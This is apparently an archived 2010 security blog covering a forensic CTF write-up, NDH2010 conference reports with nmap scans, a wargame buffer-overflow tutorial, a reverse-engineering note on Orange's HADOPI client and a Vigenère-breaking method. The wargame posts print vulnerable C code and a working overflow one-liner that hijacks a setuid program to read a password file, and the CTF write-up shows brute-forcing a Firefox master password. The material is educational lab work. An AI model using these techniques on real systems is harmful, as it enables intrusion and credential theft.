dimanche 25 juillet 2010

RootBSD's Forensic 1

Hier nous avons eu droit à un challenge forensic proposé par RootBSD. C'était son premier challenge en tant qu'auteur :p. Le prix à gagner était mine de rien assez sympa : un tshirt GetDigital au choix ^^.
Le grand gagnant de ce challenge  est sh4ka.

Le principe était de trouver 10 flags :).

L'archive du challenge tout d'abord : RootBSD's challenge forensic 1 .

Après avoir décompressé l'archive on se retrouve avec 6 dossiers : .mozilla, Document, Download, Images, Musics, Private et 1 fichier : FS.dd.

En commençant par FS.dd on a trouvé 2 flags :
m101@m101 $ strings FS.dd | egrep "[0-9a-fA-F]{32}"
Joli : 2843062153121fed0558613602645f81

- Un peu de file carving :
m101@m101 $ scalpel -c /etc/scalpel/scalpel.conf
On trouve une image jpeg avec ce flag :
a84774bcf9e00b394d75e4367472e58e

Maintenant Documents/ :
m101@m101 $ strings World_of_Fractal.pdf | egrep "[0-9a-fA-F]{32}"
/ID[<7602e7851861cd4d7f20bfc78b7991d3><457df77bd980a6fd9607e57405f56152>]
/Author (f1809844eaa1ebe050bd4973a456b150)r 5.0 for Word)
/ID[<7602e7851861cd4d7f20bfc78b7991d3><457df77bd980a6fd9607e57405f56152>]
Après validation, seul le md5 pour Author est bon.

Dans le dossier Download/ on a un fichier .pcap, on l'ouvre sous WireShark et on voit un flux HTTP avec download d'une archive .rar.
Il suffit d'extraire le .rar concerné.
Pas de "chance", il est protégé par un mot de passe.
Etant sous Linux, j'essaie de péter l'archive avec rarcrack .... 50pw/sec, mouais trop lent à mon goût ...
Et si on essayait du password guessing?
Words tried : hack, hacking, hacker, forensic, security, secure, control, biere ... BINGO!
On extrait le fichier du .rar et hop un autre flag :
203ec6cfbff8288c0ebeec8ea1e70144.

Dans Images/ :
m101@m101 $ strings Images/fractale5.jpg | egrep "[a-fA-F0-9]{32}
"1dcd64e16d97507052d67a6d0557ee8d
Dans le reste des images, rien de particulier avec HexEdit et strings ....
Bon, y'a quoi dans les metadatas?
Bingo, on trouve quelque chose d'intéressant dans jpg_NDH080408ak.jpg.
m101@m101 $ exif -e jpg_NDH080408ak.jpg
Le flag : f2c7ec9225e9158deb7ca7aad0f3504b.
Ok dossier Images done :).


On passe au dossier Musics/ :
m101@m101 $ strings Musics/miel-de-vie.mp3
[...]
VW4gZGUgcGx1cyAzMzA2ZWMwOTdmYz
gzMDgxNzE4MTUxNmVhMjhkZWQzOA==
Oh ça ressemble à de la base 64 ça ... bingo :
3306ec097fc830817181516ea28ded38

Dossier Private/ :
On a un fichier texte priv.txt.
A première vu ça peut être du César, par guessing ça doit être quelque chose genre : Le flag est [flag].
Pour les feignasses, y'a des sites comme YellowPipe qui font le boulot pour vous ...
On regarde la table ASCII et on trouve un décalage de 19, on tente et bingo :
La flag est 55fe6c0f75c563099e3d332f5c64e690

m101@m101 $ cat Private/.facile
Pour commencer le plus facile : 8cd4525b78f0488581316bba7734e758

Bon on a fini?
Ah non j'oubliais le dossier .mozilla/.
Pour ça, on lance firefox de cette manière en console :
m101@m101 $ firefox -ProfileManager
On crée un nouveau profile (forensic par exemple).
On va dans le dossier correspondant dans notre home et on fout le profile de l'archive là :).
On trouve un lien dans l'historique : http://www.r00ted.com/forensics/flags.txt
Ok protégé par un .htaccess, voyons voir les mots de passes enregistrés. Oh le bougre protégé par mot de passe.
On bruteforce ça avec firemaster :] .
Bingo, on a le master password : hack.
Mot de passe enregistré : kevin:hKza62qCSTgq (bonne chance pour bruteforcer un mot de pass pareil ...).
Et encore un de plus :
4f88ae808c5cb93084bb4117b0452ca7


Voilà pour une petit challenge forensic somme tout assez sympa :).
Je tiens à remercier l'auteur du challenge RootBSD ainsi que d'autres participants : tryks, sh4ka, ZadyRee, shp et les autres si j'en oublie ;).

Have phun ;),

m_101

- lien : GetDigital
- lien : sh4ka
- lien : RootBSD's challenge forensic 1
- lien : StalkR's write-up
- lien : Tryks's write-up

vendredi 23 juillet 2010

Simple buffer overflow : NDH2010 Level 1

Une autre astuce qui peut s'avérer utile.

Ok vous pensiez réellement qu'on avait besoin de GDB pour own le level1?
Vous avez tout faux :]

Il s'avère que lorsque vous provoquez un segfault, cette information est retranscrite autre part.

level1@srv-public:~$ dmesg | grep level1
[???????????????] level1[????]: segfault at 37614136 ip 37614136 sp bffff804 error 4 

Eh oui, vous aurez remarquer qu'on a l'EIP et l'ESP sans avoir toucher à GDB ;).

Si vous avez des astuces du genre, faites tourner :].

Have phun,

m_101

Simple buffer overflow offset calculation : NDH2010 Level 1

Bonjour!

Sorry for English speakers, I will write only in French on this blog now unless you ask for English ;).

Aujourd'hui, je vais vous présenter brièvement une technique pour rapidement choper les offsets lors de l'exploitation de buffer overflows

Bon déjà je préviens pour ceux qui seraient tentés de prendre ça au premier degré :
- Non on a pas besoin de GDB mais je voulais faire les choses comme il fallait
- C'est juste pour illustrer une méthode de calcul d'offset rien d'autre


Les pré-requis

- Des connaissances minimales en stack frame.
- Des connaissances en assembleur (je n'expliquerais pas le code ASM, ce n'est pas le but)
- Metasploit

Let's go!

Il manque juste le programme vulnérable qu'on va casser :].
C'est le premier challenge du SSH public NDH 2010.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
        setresuid(geteuid(),geteuid(),geteuid());
        system("sleep 1; cat /home/level2/passwd;");
 exit(0);
}

int *p;
void func(char *arg)
{
        char buf[16];
        p = (int *)&buf[sizeof(buf)];

 printf("dummy() is at: 0x%08x\n", dummy);
        printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
        strcpy(buf, arg);
        printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
 
}
int main(int argc, char *argv[])
{
        if(!argv[1]) {
  printf("No command found...\n");
  return;
 }
        func(argv[1]);
}

Le code ASM correspondant :
Dump of assembler code for function dummy:
   0x08048504 <+0>: push   %ebp
   0x08048505 <+1>: mov    %esp,%ebp
   0x08048507 <+3>: push   %esi
   0x08048508 <+4>: push   %ebx
   0x08048509 <+5>: sub    $0xc,%esp
   0x0804850c <+8>: call   0x8048438 <geteuid@plt>
   0x08048511 <+13>: mov    %eax,%esi
   0x08048513 <+15>: call   0x8048438 <geteuid@plt>
   0x08048518 <+20>: mov    %eax,%ebx
   0x0804851a <+22>: call   0x8048438 <geteuid@plt>
   0x0804851f <+27>: mov    %esi,0x8(%esp)
   0x08048523 <+31>: mov    %ebx,0x4(%esp)
   0x08048527 <+35>: mov    %eax,(%esp)
   0x0804852a <+38>: call   0x80483e8 <setresuid@plt>
   0x0804852f <+43>: movl   $0x80486c0,(%esp)
   0x08048536 <+50>: call   0x80483c8 <system@plt>
   0x0804853b <+55>: movl   $0x0,(%esp)
   0x08048542 <+62>: call   0x8048428 <exit@plt>
End of assembler dump.

Dump of assembler code for function func:
   0x08048547 <+0>: push   %ebp
   0x08048548 <+1>: mov    %esp,%ebp
   0x0804854a <+3>: sub    $0x1c,%esp
   0x0804854d <+6>: lea    -0x10(%ebp),%eax        ; notre buffer est donc en %ebp-10
   0x08048550 <+9>: add    $0x10,%eax
   0x08048553 <+12>: mov    %eax,0x8049884      ; pointeur p
   0x08048558 <+17>: mov    $0x80486e2,%eax
   0x0804855d <+22>: movl   $0x8048504,0x4(%esp)
   0x08048565 <+30>: mov    %eax,(%esp)
   0x08048568 <+33>: call   0x8048408 <printf@plt>
   0x0804856d <+38>: mov    0x8049884,%eax
   0x08048572 <+43>: add    $0x4,%eax
   0x08048575 <+46>: mov    (%eax),%ecx
   0x08048577 <+48>: mov    0x8049884,%eax
   0x0804857c <+53>: mov    (%eax),%edx
   0x0804857e <+55>: mov    $0x80486fc,%eax
   0x08048583 <+60>: mov    %ecx,0x8(%esp)
   0x08048587 <+64>: mov    %edx,0x4(%esp)
   0x0804858b <+68>: mov    %eax,(%esp)
   0x0804858e <+71>: call   0x8048408 <printf@plt>
   0x08048593 <+76>: mov    0x8(%ebp),%eax
   0x08048596 <+79>: mov    %eax,0x4(%esp)
   0x0804859a <+83>: lea    -0x10(%ebp),%eax
   0x0804859d <+86>: mov    %eax,(%esp)
   0x080485a0 <+89>: call   0x80483f8 <strcpy@plt>
   0x080485a5 <+94>: mov    0x8049884,%eax
   0x080485aa <+99>: add    $0x4,%eax
   0x080485ad <+102>: mov    (%eax),%ecx
   0x080485af <+104>: mov    0x8049884,%eax
   0x080485b4 <+109>: mov    (%eax),%edx
   0x080485b6 <+111>: mov    $0x8048720,%eax
   0x080485bb <+116>: mov    %ecx,0x8(%esp)
   0x080485bf <+120>: mov    %edx,0x4(%esp)
   0x080485c3 <+124>: mov    %eax,(%esp)
   0x080485c6 <+127>: call   0x8048408 <printf@plt>
   0x080485cb <+132>: leave  
   0x080485cc <+133>: ret    
End of assembler dump.

Dump of assembler code for function main:
   0x080485cd <+0>: push   %ebp
   0x080485ce <+1>: mov    %esp,%ebp
   0x080485d0 <+3>: sub    $0x4,%esp
   0x080485d3 <+6>: mov    0xc(%ebp),%eax
   0x080485d6 <+9>: add    $0x4,%eax
   0x080485d9 <+12>: mov    (%eax),%eax
   0x080485db <+14>: test   %eax,%eax
   0x080485dd <+16>: jne    0x80485ed <main+32>
   0x080485df <+18>: movl   $0x8048742,(%esp)
   0x080485e6 <+25>: call   0x8048418 <puts@plt>
   0x080485eb <+30>: jmp    0x80485fd <main+48>
   0x080485ed <+32>: mov    0xc(%ebp),%eax
   0x080485f0 <+35>: add    $0x4,%eax
   0x080485f3 <+38>: mov    (%eax),%eax
   0x080485f5 <+40>: mov    %eax,(%esp)
   0x080485f8 <+43>: call   0x8048547 <func>
   0x080485fd <+48>: leave  
   0x080485fe <+49>: ret    
End of assembler dump.

La fonction qui va bien évidemment nous intéresser est func(). Celle-ci contient en effet le buffer overflow avec strcpy(). Celà va nous permettre de retourner dans dummy.

Bon déjà on sait que notre buffer est situé en %ebp-10.
Nous pouvons dès lors reconstruire notre stack frame (on utilise la convention cdecl ici) :
EBP
[arg : 4 octets] [ret : 4 octets] [sfp : 4 octets] [buffer : 16 octets]

Ok good donc théoriquement on a 20 octets avant de taper l'EIP comme il faut :).

On va vérifier ça avec notre pattern métasploit.

On va d'abord le créer.
sh $ msf/tools/pattern_create.rb 24
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7

On teste ça sous GDB.
level1@srv-public:~$ gdb ./level1
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
Starting program: /home/level1/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
dummy() is at: 0x08048504
before:   SEBP=0xbffff7e8
   SEIP=0x080485fd
after:    SEBP=0x61413561
   SEIP=0x37614136

Program received signal SIGSEGV, Segmentation fault.
0x37614136 in ?? ()

Hop on cherche l'offset avec metasploit toujours.
sh $ msf/tools/pattern_offset 6Aa7
20

Pawning :).
./level1 `python -c 'print "JUNK" * 5 + "\x04\x85\x04\x08"'`
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
   SEIP=0x080485fd
after:    SEBP=0x4b4e554a
   SEIP=0x08048504
[password]

Et voilà comment en 5 minutes on peut pawn un soft simple ;).

Have phun.

m_101

- Une autre solution : Level 1 Wargame NDH - Tuto shellcode
- Le wargame NDH : Wargame NDH2010
- metasploit : Metasploit

lundi 21 juin 2010

[Presentation] Orange HADOPI Hacking for dummies

---  English ---

Following my previous fast analysis of Orange Hadopi Binary, I continued and made a presentation out of what I found.
I planned to present my work at NDH 2010 but due to time constraints it was of course impossible.

Disclaimer : This presentation is here only for informing people. Anyway, the servlet has been taken down for some time now.



I'll post the little scripts which were used for farming IP and the one I made for geolocating later in the week.

Anyway hope you enjoy it ;) ,

m_101

--- Français ---

A la suite de ma rapide analyse précédente sur le logiciel d'Orange, j'ai décidé d'en faire une présentation de ce que j'ai trouver.
J'avais prévu de présenter mon travail à la NDH 2010 mais due à des contraintres de temps (j'avais de toute manière prévu ce cas), c'était bien sur impossible.

Avertissement : Cette présentation n'a été faite qu'à un but d'information! Le servlet d'Orange a de toute manière été désactivé dû aux failles du logiciel.

Je posterais les scripts qui ont été utilisés pour farmer les IP et celui que j'utilise pour la geoip.

J'espère que ça va vous plaire.

m_101

- link : Orange Hadopi Hacking (OpenOffice.Org)
- link : Orange Hadopi Hacking (PowerPoint)

dimanche 20 juin 2010

[FR] NDH 2010 : Bilan

Deuxième NDH pour ma part, ils ont vraiment fait du bon travail et l'évènement est encore mieux que l'année dernière.
Félicitation à Sysdream, aux organisateurs et à tout ceux qui ont rendu possible cet évènement!

On est arrivé à la péniche de la NDH aux alentours de 15h pour parler, boire des bières et rencontrer des personnes de la communauté.
C'était génial! Vraiment marrant et surprenant de voir à quoi ressemblait chacun in real life ;).

Les gens ont commencé à faire la queue aux alentours de 16h. Une fois sur le bateau, nous étions accueilli par une fouille de sac (anti bouteille d'eau, bière, etc) puis par le badge (visiteur ou challenger) et 5 tickets de consos (sandwich, boissons, etc).


Badge visiteur


Badge challenger

Si j'ai 2 badges, ça s'explique par le CTF bien entendu, j'en parle un peu plus bas.

La plupart des conferences qui m'intéressais, je les ais vu en streaming, donc ça c'est plutôt fini en grosse réunion dans un super bar avec des amis ;) .

La plupart des confs étaient de bonnes qualité.

La conférence de GeoHot a été au délà de mes espérances. C'était vraiment intéressant de voir du hack hardware associé au software. Il a parlé des systèmes embarqués au niveau sécurité (Nokia 1661, iPhone et PS3).
Ce qui était surtout super c'était le temps que GeoHot a pris pour répondre aux questions (même celles sans grand intérêt), prendre des photos et parler aux gens.

Concernant le CTF, j'étais vraiment pas préparé et je n'avais pas vraiment prévu de participer (si ce n'est au challenge public). Par la force des choses, j'ai intégré l'équipe Beerware pour remplacer un ami. J'ai donc obtenu un badge challenger à la dernière minute ;).
Le CTF était à mon sens assez frustrant car dès la validation d'un challenge, plus aucune équipe ne pouvait la valider, il fallait être plus rapide que les autres (comme toujours dans ce genre d'épreuves). On a trouvé des failles et les exploits qui vont avec mais pas validable dû à cet raison.
La plupart des challenges qu'on a vu était orienté WEB, autant dire que ce n'était pas du tout mon domaine pour ma part. Les web services étaient coder en C et en Python. Dans le web service en C il y a un buffer overflow (sur d1g1tal y'avait par contre un format string). Les épreuves étaient variées tout de même : reversing, stéganographie, forensics, crypto, etc.
Pendant TOUTE la durée du challenge, il y avait du DOS à gogo, perso j'étais déconnecté toute les 5-10 minutes.

Sur les VM, il y a avait mine de rien pas mals de ports ouverts (et donc de services tournants) :


* VM Windows 2003 Server
Nmap scan report for 192.168.3.x2
Host is up (0.00099s latency).
Not shown: 984 closed ports
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
1026/tcp  open  LSA-or-nterm
1027/tcp  open  IIS
1028/tcp  open  unknown
1029/tcp  open  ms-lsa
3306/tcp  open  mysql
3389/tcp  open  ms-term-serv
6666/tcp  open  irc
8080/tcp  open  http-proxy
12345/tcp open  netbus
31337/tcp open  Elite
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2, Microsoft Windows Server 2003 SP2
Network Distance: 1 hop

VM Debian (Lenny) Linux :
Nmap scan report for 192.168.3.73
Host is up (0.00097s latency).
Not shown: 988 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
82/tcp   open     xfer
113/tcp  open     auth
1234/tcp open     hotline
2000/tcp filtered cisco-sccp
6666/tcp open     irc
8080/tcp open     http-proxy
8081/tcp open     blackice-icecap
8083/tcp open     unknown
8084/tcp open     unknown
8090/tcp open     unknown
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

J'ai également trouvé des machines de management en sweepant le sous-réseau sur lequel on était (on avait pas le droit de les attaquer sous peine de ban du CTF bien entendu):
Nmap scan report for dashboard.ndh2010.com (192.168.3.160)
Host is up (0.00053s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

Nmap scan report for 192.168.3.161
Host is up (0.00055s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
902/tcp  open  iss-realsecure
8009/tcp open  ajp13
8222/tcp open  unknown
8333/tcp open  unknown
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.18 - 2.6.27
Network Distance: 1 hop

Nmap scan report for 192.168.3.162
Host is up (0.00059s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

Nmap scan report for pfsense-1.ndh2010.com (192.168.3.254)
Host is up (0.00074s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
443/tcp open  https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING) : Linux 2.6.X (91%)
Aggressive OS guesses: Linux 2.6.29 (91%)
No exact OS matches for host (test conditions non-ideal).

J'avais d'autres scans aussi mais je les ais pas gardé.

J'avouerais qu'on a été plutôt chanceux pour ce CTF, on a évité la grosse vague de DDOS au début du challenge. Ca a duré pendant tout le challenge mais surtout à la fin (perte de 6000 points environ en 5 minutes ...), ça nous a descendu de la première place à la deuxième place.

Les résultats de mi parcours (aux alentours de 5:55 du matin) :

Le CTF s'est achevé à 6:45 du matin.

Les vainqueurs :
1st : WWFamous
2nd: Beerware
3rd : Kowalski

Nous avons ensuite reçu nos récompenses :

Un trophée

Un certificat de participation au CTF :

Et notre prix (formation ECSP - EC-Council Certified Secure Programmer) :

Par ailleurs, je comptais présenter mon analyse du logiciel d'Orange en prévision d'HADOPI, je n'ai évidemment pas pu la donner pour des raisons de temps (c'était de toute manière prévisible).
Je mettrais online les slides ce soir.

Dans son ensemble, cette NDH était une pure réussite et assez fun!
A l'année prochaine j'espère ;).


m_101

Pour les Francophones : Je posterais sûrement une partie en Français pour la suite comme on me l'a fait remarqué ;).

- Un meilleur résumé : http://www.lestutosdenico.com/evenements/nuit-du-hack-2010-compte-rendu

[EN] NDH 2010 : Results!

Second NDH for me and it got even better than last year!
Kudos to Sysdream, HZV, the organizers and all the people who made this event be possible.

We arrived at the NDH boat around 15PM and starting to talk, drink beers and meeting people we only knew virtually on IRC.
It was pretty awesome, we were surprised at how each others looks like but a it was pleasant surprise anyway.

Around 16PM, people started to queue up to enter the boat, we were greeted with 5 tickets for sandwiches or drinks (beeers! :) ).
And a pass depending on wheter you were a speaker, a guest or a challenger.


Guest badge


Challenger badge :


If I have two badges, it's because of the CTF ... more on that a little bit later.


I saw most of the conferences I was interested in in streaming so it was pretty much more like a huge bar with friends :) .
The talks were pretty much of good quality.

GeoHot talk was awesome, I was impressed by the "coolness" of the guy ... I mean, taking time to answer questions (even dumb ones), take pictures with the ones who want it and talk after the conference.

I wasn't prepared at all for the CTF as I didn't really intended to participate (and I was smoking dead and tired ><) but due to circonstances I had to replace a friend of ours in Beerware team. So I grabbed a Challenger Badge at the last minute ;).
The challenge was pretty much frustrating since as soon as a challenge is validated, no more teams can validate it. So we found some loophole and solutions but submitted them after the firsts so we couldn't validate some of the challenges.
Most of the challenges we saw were Web Based with some customs servers written (in Python and C). The C server had a buffer overflow in it. Did some reversing, steganography, forensics, crypto and others stuffs as well.
During the whole challenge there were DOS, I was disconnected every 5-10 minutes.

We had quite some opened ports :

* Windows 2003 Server VM
Nmap scan report for 192.168.3.x2
Host is up (0.00099s latency).
Not shown: 984 closed ports
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
1026/tcp  open  LSA-or-nterm
1027/tcp  open  IIS
1028/tcp  open  unknown
1029/tcp  open  ms-lsa
3306/tcp  open  mysql
3389/tcp  open  ms-term-serv
6666/tcp  open  irc
8080/tcp  open  http-proxy
12345/tcp open  netbus
31337/tcp open  Elite
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2, Microsoft Windows Server 2003 SP2
Network Distance: 1 hop

Debian (Lenny) Linux VM :
Nmap scan report for 192.168.3.73
Host is up (0.00097s latency).
Not shown: 988 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
82/tcp   open     xfer
113/tcp  open     auth
1234/tcp open     hotline
2000/tcp filtered cisco-sccp
6666/tcp open     irc
8080/tcp open     http-proxy
8081/tcp open     blackice-icecap
8083/tcp open     unknown
8084/tcp open     unknown
8090/tcp open     unknown
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

There were also some management servers I found while sweeping the sub-network (didn't have any rights to touch them or ban from the CTF) :
Nmap scan report for dashboard.ndh2010.com (192.168.3.160)
Host is up (0.00053s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

Nmap scan report for 192.168.3.161
Host is up (0.00055s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
902/tcp  open  iss-realsecure
8009/tcp open  ajp13
8222/tcp open  unknown
8333/tcp open  unknown
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.18 - 2.6.27
Network Distance: 1 hop

Nmap scan report for 192.168.3.162
Host is up (0.00059s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.27
Network Distance: 1 hop

Nmap scan report for pfsense-1.ndh2010.com (192.168.3.254)
Host is up (0.00074s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
443/tcp open  https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING) : Linux 2.6.X (91%)
Aggressive OS guesses: Linux 2.6.29 (91%)
No exact OS matches for host (test conditions non-ideal).

I didn't keep the other scans though.

We were quite lucky on this one, we avoided the first massive wave of DDOS. We got DOS during the whole challenge and particularly at the end (-6000 points in 5 minutes at some point), it got us downgraded from 1st to 2nd. Bye bye miami :(.

So the mid-results (was aroung 5:55AM) :

The CTF stopped at 6:45AM.

Final results :
1st : WWFamous
2nd: Beerware
3rd : Kowalski

We then received our prizes :
Our cup

The CTF participation certificate :

And our prize (ECSP - EC-Council Certified Secure Programmer formation) :

By the way, due to time limitation, I couldn't talk about my analysis on Orange HADOPI Software v1.
I will post my slides tonight as soon as I come back to my place ;).

Overall the NDH 2010 was pretty successful and enjoyable :) .
See you next year I hope.

Cheers,

m_101

For French speakers : I will post a French version as soon as I can.

- A better recume : http://www.lestutosdenico.com/evenements/nuit-du-hack-2010-compte-rendu

jeudi 17 juin 2010

Nuit du Hack 2010 - Night Da Hack 2010

Ready? Ready? Ready?
Let's Go!



Hacking is a whole art, science, culture, call it whatever you like, hackers are unique people but as all people, we all need to meet and see each other in real life.
Night Da Hack is a French hacking event hosted in Paris on a boat! It will receive quite some nice talks and guests.

Here is the talks program :


Time SlotTrack 1Track 2
17h-17h30Security vulnerabilities disclosure, challenges and risks (Jérome Hennecart / Raphael Rault)Unix Malwares (Julien Reveret)
17h45-18h15Security vulnerabilities disclosure, challenges and risks II
(Laurence Foraud / Philipe Joliot)
XeeK : XSS Easy Exploitation Kernel (Emilien Girault)
18h30-19hEvolution IT (Gael THEROND)GPGPU and its implications on security of encryption systems (Lucas Fernandez)
19h15-19h45HZVault (Majinboo)Antivirus Security is a failure (Stefan Leberre)
20h-21hCracking the Playstation 3 (GeoHotz)Cracking the Playstation 3 (GeoHotz)
21h15-21h45xdbg, an open-source disassembler and debugger (Christophe Devine) Virtualisation & security (Emanuel Istace)
22h-23hAdvanced Mac OS X Physical Memory Analysis (Matthieu Suiche)Advanced Mac OS X Physical Memory Analysis (Matthieu Suiche)
23h15-23h45Stack Smashing Protector (Paul Rascagneres - RootBSD)Advanced lockpicking techniques (Cocolitos / Mr. Jack)

After that, from midnight till 7AM, there will be a CTF.
Constesters will have to protect their virtual server and hack the other servers.
As every year, the challenge is kept secret, but as usual the categories won't change I guess :
- reversing
- exploitation
- bruteforcing authentification
- web hacking
- etc
What kind of OS? We sure don't know but I bet that will all the ROP, DEP Bypass, SEHOP and other papers on the latest Windows protections, it's possible that Windows Server 2008 might be there :) .
For Linux, latest version? What distribution? We'll see.

There aren't anymore any tickets for this conference but it was really really cheap for what it is :
- Basic pack : 25€ (ticket)
- Premium pack : 50€ (ticket + cap + tshirt)

I wonder if they happen to accept last minute talks but I doubt that .... even though they would, I might not even have time to write one :(.

Hope to see you there for those of whom who have their tickets :) .

m_101

- link : Night Da Hack

dimanche 13 juin 2010

Fast analysis of Orange Hadopi Executable

I've read Bluetouff article here. From that point, I decided to take a rapid look at how is that possible?

Be careful, this must be considered as a MALWARE!

For starters, the installer is packed with UPX but it doesn't need any serial for the installation to take place. The serial is only there to activate the software.

After installing the software, you get a bunch of executables :
- cdtsvc.exe : service of download control
- cdtsvc64.exe : same as cdtsvc.exe but for 64 bits
- cdtupd.exe : probably the executable for checking updates

It seems that none of the executables are packed or whatsoever.

Just analyzing cdtsvc.exe, I got quite a bunch of informations on the executable itself.
Looking at C string references and unicode strings, you get to have those informations :

Path :
C:\\Documents and Settings\\jbroutin\\Mes documents\\Visual Studio 2008\\Projects\\ddp-hadopi\\hadopi-client-gui\\trunk\\Release\\cdtsvc.pdb

RSA Key :
BgIAAACkAABSU0ExAAQAAAEAAQCzLXpRE/3Y3n9F1lf2wlRsQGzgs4gfBRNj/PmPArxOtJ1Z1ra8bTktvDCyLsImEc12d6DvVeYsAIgjMZNxQqczzhEla7ZAXQXOOBo38ZUZot961pXx76GCRMAfAYz2S3O79bBGCtJ5wh3UcmvAUcEmdqLzFebBw7Ef+qxyfgamyw==

URL :
http://update-cdt.nordnet.fr/hadopi-server-technical-ws-1

The author of the software is named jbroutin, chances are that his last name is Broutin. It clearly show HADOPI projects and using Visual Studio 2008.
Looking at the code, we can confirm that he's using C++ or some other kind of oriented object langage (there are lots of get() and set()).

Nordnet contacted Bluetouff so the URL makes sense. It might be the URL for the Java Applet Bluetouff was talking about. I just can't imagine the damage it could be done injecting code in it.

For the RSA Key, I don't know what it's for for now. The RSA Key shown here is encoded using Base64 for those who were asking themselves.

Looking more, we see stuffs like these :
hadopi

Ok we now know that we really are dealing with some HADOPI crap.

going further :

HTTP/1.0

[...]

Content-Type: application/x-www-form-urlencoded

No wonder that Bluetouff get to have a lot of informations using Wireshark ...

We haven't even looked at the code yet that we have quite some infos ...


Cross-referencing the string with "HTTP/1.0" we land in a subroutine at address 0x405574.
This routine seems to construct some kind of URLs and make a request with it.

Looking at where it's called from, you get a bunch of function but at the top is 0x4027EB. This seems to be the main routine which set up the service and stuffs.

I look at one of the functions that called directly 0x405574 and there was 0x406991 : this function seems to check for some kind of updates and licence check too but I dunno, what would be cdtupd.exe then?

From 0x406991 I got this sequence of numbers :
0.2.1.1.3
0.2.1.3.2

33.1.1.1
33.2.1.3
33.2.2.1
33.2.1.2

I don't know about the first two (they might be OID, reverse DNS, or something else).
For the second groups, they look like IPs.

I tried to have a DNS query with all of thoses, but I only get an answer for 33.1.1.1 :
m_101@m_101:~$ nslookup 33.1.1.1
Server:  192.168.1.1
Address: 192.168.1.1#53

Non-authoritative answer:
*** Can't find 1.1.1.33.in-addr.arpa.: No answer

Authoritative answers can be found from:
33.in-addr.arpa
 origin = CON1R.NIPR.MIL
 mail addr = DANIEL\.KNOPPS.DISA.MIL
 serial = 2010061101
 refresh = 10800
 retry = 900
 expire = 1209600
 minimum = 10800

I also found some strange stuffs by cross referencing an API called CreateToolhelp32Snapshot() . I landed in routine 0x40C225, why the hell is the software going around all the processes?
I didnt dig further but it seems strange to me.

That's all I got for today, it took me around 20 minutes to get all that ... what about the people who spent hours on this? They might already have a clone or something else entirely.

m_101

- link : Orange HADOPI Software
- link : Installed files

Decoding vigenère

I was reading Simon Singh book "The Code Book" when I stumbled accross Vigenère, I had time so I decided to code something to break Vigenère.
Here I'll present the method used to break Vigenère and release the code. The code is incomplete! I didn't code the decoding routine completeoy since I realize that decoding Vigenère is useless nowadays and I did the most interesting part : the kasisky algorithm.
The main interest of Vigenère code breaking is about elaborating the needed algorithms.

Vigenère code breaking go as follow :
- Find the key size using kasisky examination or index of coincidence
- Frequency analysis on each subtext : nbSubtext = szKey

I chose to use the kasisky examination for searching the key size.
I elaborated a recursive algorithm to build my dictionnary of ALL possible words of any size in the crypted text using a binary tree.

The algorithm steps are as follow :
begin
    size = 1

    begin loop_word_size
        begin loop_word_add
             dict_word_add (crypted, szWord)
             crypted = crypted + 1
        goto loop_word_add as long as we aren't at end of crypted
    size = size + 1
goto loop_word_size as long as size != szCrypted

The pseudo code is iterative.
The recursive algorithm is in dict_word_add().

With a 512 bytes word, you have more than 130k possible words all uniques, no duplicates.
We track offsets, and counts of each words

After finding the key size, we do a frequency analysis of each subtext.
The only part missing to have a complete Vigenère code breaking is a reliable (and simple) algorithm to shift the frequencies to match. When that's done, you have the correspondance between the characters and can thus decode the ciphered text without the key.

